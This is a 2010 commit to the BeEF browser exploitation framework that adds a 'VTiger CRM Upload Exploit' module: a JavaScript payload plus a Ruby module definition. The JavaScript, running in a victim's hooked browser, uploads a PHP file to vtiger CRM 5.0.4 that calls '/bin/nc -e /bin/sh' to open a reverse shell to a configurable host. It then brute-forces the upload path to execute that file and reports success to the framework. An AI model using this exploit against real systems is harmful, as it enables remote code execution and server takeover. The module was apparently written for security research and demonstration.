issue 81 : vtiger crm upload exploit module - first draft

git-svn-id: https://beef.googlecode.com/svn/trunk@578 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
xntrik
2010-11-24 13:12:16 +00:00
parent 3ee0e57f9e
commit 1e6fad649d
2 changed files with 237 additions and 0 deletions

View File

@@ -0,0 +1,195 @@
// VtigerCRM <= 5.0.4 "chained exploitation" PoC
// Hacked up for OWASP New Zealand Day, July 13th 2009
//
// Thanks for the BeEF Wade :)
// Ported to Ruby BeEF by xntrik 2010
beef.execute(function() {
//Doing the same trick I used in detect_tor to ensure exploit runs once
// xntrik
if (document.getElementById('vtigerimg')) {
return "Exploit running already";
}
var img = new Image();
img.setAttribute("style","visibility:hidden");
img.setAttribute("width","0");
img.setAttribute("height","0");
img.id = 'vtigerimg';
document.body.appendChild(img);
baseurl = "<%= @vtiger_url %>";
function do_upload(){
// start AJAX file upload in 1 second
//window.setTimeout("ajax_upload()", <%= @timeout %>);
//alert("one");
setTimeout(function() {ajax_upload()}, <%= @timeout %>);
}
// In a nutshell:
//
// 1) build url
// 2) construct the request object
// 3) POST the form
// 4) once requestdone, call do_callfile()
function ajax_upload(){
//alert("two");
// Setup the AJAX POST
var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index';
//var binary;
//var filename;
//var mytext;
http_request = false;
//http_request = new XMLHttpRequest();
http_request = beef.net.get_ajax();
if (!http_request) {
// fail silently!
return false;
}
//prepare the POST
var boundaryString = 'PWNED';
var boundary = '-----------------------------PWNED';
var requestbody =
boundary + '\\n'
+ 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\\n'
+ '\\n'
+ 3000000 + '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="return_module"' + '\\n'
+ '\\n'
+ '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="return_action"' + '\\n'
+ '\\n'
+ '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="return_id"' + '\\n'
+ '\\n'
+ '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="uploadsubject"' + '\\n'
+ '\\n'
+ '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\\n'
+ 'Content-Type: application/x-httpd-php' + '\\n'
+ '\\n'
+ '<\?php' + '\\n'
+ 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\\n'
+ '\?>' + '\\n'
+ '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="filename_hidden"' + '\\n'
+ '\\n'
+ 'vtiger-fun.PHP'
+ '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="txtDescription"' + '\\\n'
+ '\\n'
+ 'drop it like its hot' + '\\n'
+ boundary
+ '\\n'
+ 'Content-Disposition: form-data; name="save"' + '\\n'
+ '\\n'
+ 'Attach' + '\\n'
+ boundary;
http_request.onreadystatechange = function() {
if (http_request.readyState == 4) {
//window.console.log("ready state go for upload: "+http_request.status);
if (http_request.status == 200) {
//window.console.log("Upload worked");
result = http_request.responseText;
do_callfile();
} else {
//fail silently
}
}
return;
}
http_request.open("POST", targeturl, true);
http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED");
http_request.setRequestHeader("Content-length", requestbody.length);
http_request.send(requestbody);
//beef.net.raw_request(targeturl,'POST',requestdonenew(),requestbody);
return;
}
function requestfile() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
result = http_request.responseText;
alert(result);
} else {
// fail silently
}
}
return;
}
// find our file :)
//
// Dirty brute force
function do_callfile(){
var i=0;
for (i=0;i<=1000;i++)
{
http_request = false;
http_request = beef.net.get_ajax();
if (!http_request) {
// fail silently!
return false;
}
var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_vtiger-fun.PHP";
var requestbody = "birds of a feather flock together";
http_request.onreadystatechange = requestfile;
http_request.open('POST', findurl, true);
http_request.setRequestHeader("Content-length", requestbody.length);
http_request.send(requestbody);
}
//At this point we can remove the img tag, in the command is going anywhere else now - xntrik
document.body.removeChild(vtigerimg);
return;
}
// Add your clean up routine here.
function do_cleanup() {
//document.write("Maybe your security team should check out owasp.org? ;)");
return;
}
// Try the upload
function do_main(){
do_upload();
return;
}
// Run the sploit
do_main();
//do_cleanup();
//The JS is loaded, send the sendback to the framework so it shouldn't run any anymore
// The img id "vtigerimg" is used to also ensure that framework isn't executed multiple times
// xntrik
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Payload Delivered');
});

View File

@@ -0,0 +1,42 @@
module BeEF
module Modules
module Commands
class Vtiger_crm_upload_exploit < BeEF::Command
def initialize
super({
'Name' => 'VTiger CRM Upload Exploit',
'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM <a href="http://www.vtiger.com/">vtiger 5.0.4</a>',
'Category' => 'Network',
'Author' => ['wade', 'bm', 'pipes', 'xntrik'],
'Data' =>
[
['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'1000'],
['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://192.168.1.105:81'],
['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/2010/11/week3/'],
['name'=>'vtiger_host','ui_label'=>'Reverse Bindshell Host','value'=>'localhost'],
['name'=>'vtiger_port','ui_label'=>'Reverse Bindshell Port','value'=>'8888']
],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use 'beef.net.local'
use_template!
end
def callback
return if @datastore['result'].nil?
save({'result' => @datastore['result']})
end
end
end
end
end